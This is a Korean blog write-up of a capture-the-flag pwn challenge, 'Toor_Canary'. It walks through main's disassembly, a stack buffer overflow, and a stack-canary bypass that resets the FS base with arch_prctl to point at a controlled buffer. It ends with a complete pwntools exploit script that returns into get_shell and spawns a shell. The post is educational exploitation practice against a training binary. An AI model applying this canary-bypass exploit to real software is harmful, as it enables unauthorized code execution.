tistoryBlogName: lmxx
tistoryTitle: “[TOOR] 6.2 Toor_Canary write_up”
tistoryTags: “”
tistoryVisibility: “0”
tistoryCategory: “1189856”
tistorySkipModal: true
tistoryPublished: “”
tistoryPostId: “65”
tistoryPostUrl: https://lmxx.tistory.com/65
link
[TOOR] 6.1 Canary & canary write_up
[[Canary Canvas.canvas|Canary Canvas]]
main
main 함수의 어셈은 다음과 같다.
Dump of assembler code for function main:
0x00000000004011d5 <+0>: endbr64
0x00000000004011d9 <+4>: push rbp
0x00000000004011da <+5>: mov rbp,rsp
0x00000000004011dd <+8>: sub rsp,0x60
0x00000000004011e1 <+12>: mov rax,QWORD PTR fs:0x28
0x00000000004011ea <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011ee <+25>: xor eax,eax
0x00000000004011f0 <+27>: mov QWORD PTR [rbp-0x58],0x0
0x00000000004011f8 <+35>: mov edx,0x1fff
0x00000000004011fd <+40>: lea rax,[rip+0x2e7c] # 0x404080 <memo>
0x0000000000401204 <+47>: mov rsi,rax
0x0000000000401207 <+50>: mov edi,0x0
0x000000000040120c <+55>: mov eax,0x0
0x0000000000401211 <+60>: call 0x4010c0 <read@plt>
0x0000000000401216 <+65>: lea rax,[rbp-0x50]
0x000000000040121a <+69>: mov edx,0x40
0x000000000040121f <+74>: mov esi,0x0
0x0000000000401224 <+79>: mov rdi,rax
0x0000000000401227 <+82>: call 0x4010a0 <memset@plt>
0x000000000040122c <+87>: lea rax,[rbp-0x50]
0x0000000000401230 <+91>: mov edx,0x100
0x0000000000401235 <+96>: mov rsi,rax
0x0000000000401238 <+99>: mov edi,0x0
0x000000000040123d <+104>: mov eax,0x0
0x0000000000401242 <+109>: call 0x4010c0 <read@plt>
0x0000000000401247 <+114>: mov eax,DWORD PTR [rbp-0x18]
0x000000000040124a <+117>: cmp eax,0xdeadbeef
0x000000000040124f <+122>: jne 0x40126f <main+154>
0x0000000000401251 <+124>: mov rax,QWORD PTR [rbp-0x20]
0x0000000000401255 <+128>: mov QWORD PTR [rbp-0x58],rax
0x0000000000401259 <+132>: mov rax,QWORD PTR [rbp-0x58]
0x000000000040125d <+136>: mov rsi,rax
0x0000000000401260 <+139>: mov edi,0x1002
0x0000000000401265 <+144>: mov eax,0x0
0x000000000040126a <+149>: call 0x4010b0 <arch_prctl@plt>
0x000000000040126f <+154>: mov eax,0x0
0x0000000000401274 <+159>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000401278 <+163>: sub rdx,QWORD PTR fs:0x28
0x0000000000401281 <+172>: je 0x401288 <main+179>
0x0000000000401283 <+174>: call 0x401080 <__stack_chk_fail@plt>
0x0000000000401288 <+179>: leave
0x0000000000401289 <+180>: ret
End of assembler dump.
이걸 그냥 보기 편하게 만들어서 보면
read( 0, memo, 0x1fff)
memset([rbp-0x50], 0, 0x40)
read(0, [rbp-0x50], 0x100)
arch_prctl(ARCH_SET_FS, [rbp-0x58])
이런식으로 되는 것을 알 수 있다.
2번째 입력에서 bof가 발생해서 rao 가 가능하다.
arch_prctl
이 함수를 트리거 하려면
0x0000000000401247 <+114>: mov eax,DWORD PTR [rbp-0x18]
0x000000000040124a <+117>: cmp eax,0xdeadbeef
0x000000000040124f <+122>: jne 0x40126f <main+154>
[rbp-0x18] 부분을 0xdeadbeef 로 만들어 줘야 한다.
arch_prctl(ARCH_SET_FS, addr) 이런식으로 사용하면
FS의 주소를 addr 로 세팅해주는 함수이다.
이 addr 은 [rbp-0x20] 을 참조해서 [rbp-0x58] 에 저장한 후 rsi 레지스터를 통해서 전달 되므로 addr 또한 조작 가능하다.
이 주소를 첫번째 입력때 입력을 받는 .bss 영역의 memo의 주소로 해주면 된다.
그래서 스택 구조는 다음과 같게 구성하게 된다.
근데 그냥 이렇게 페이로드 구성을 해서 입력을 해주면 system 함수 안에서 에러가 난다.
그 이유는 내부에서 fs 를 참조하는데 memo 에 유효하지 않은 주소가 들어 있으면 seg fault 가 발생한다.
죽은 코드 의 윗쪽을 보면
mov rdx, QWORD PTR fs:0x10
으로 fs_base + 0x10 주소를 참조해서 가져온다.
익스 코드 삽입을 안한 정상적인 프로그램에서 어떤 값이 들어 있는지 확인 해 봤다.
fs_base 가 들어있는 것을 알 수 있다.
그래서 memo 에 입력해줄 때 fs_base가 되는 memo의 주소를 저 위치에 추가해주었다.
from pwn import *
p = process("./chall")
elf = ELF("./chall")
memo_addr = 0x404080
canary = b''
canary += b'\x00'*0x10
canary += p64(memo_addr)
canary += b'\x00' *0x8
canary += b'\x00'*0x8
p.send(canary) # memo
ret = 0x401289
payload = b''
payload += b'a'*0x30
payload += p64(memo_addr) # arch_prctl(0x1002, p) p 가 fs 주소가 됨
payload += p64(0xdeadbeef)
payload += b'\x00' * (0x50 - len(payload))
payload += p64(0)
payload += p64(ret)
payload += p64(elf.symbols['get_shell']) # ret
pause()
p.send(payload)
p.interactive()
그랬더니 셸이 따졌다.
도커에 올린 후 테스트 해도 잘 된다.
이 글은 옵시디언을 이용해서 작성되었습니다.
'TOOR' 카테고리의 다른 글
[TOOR] 18.1 Type Confusion (0) | 2023.10.12 |
---|---|
[TOOR] 18.2 dream_restaurant write up(미완) (0) | 2023.10.12 |
[TOOR] 12.4. srop write up (0) | 2023.10.05 |
[TOOR] 11.3. Holymoly write up (0) | 2023.10.04 |
[TOOR] 15.2. fsb write up (0) | 2023.10.03 |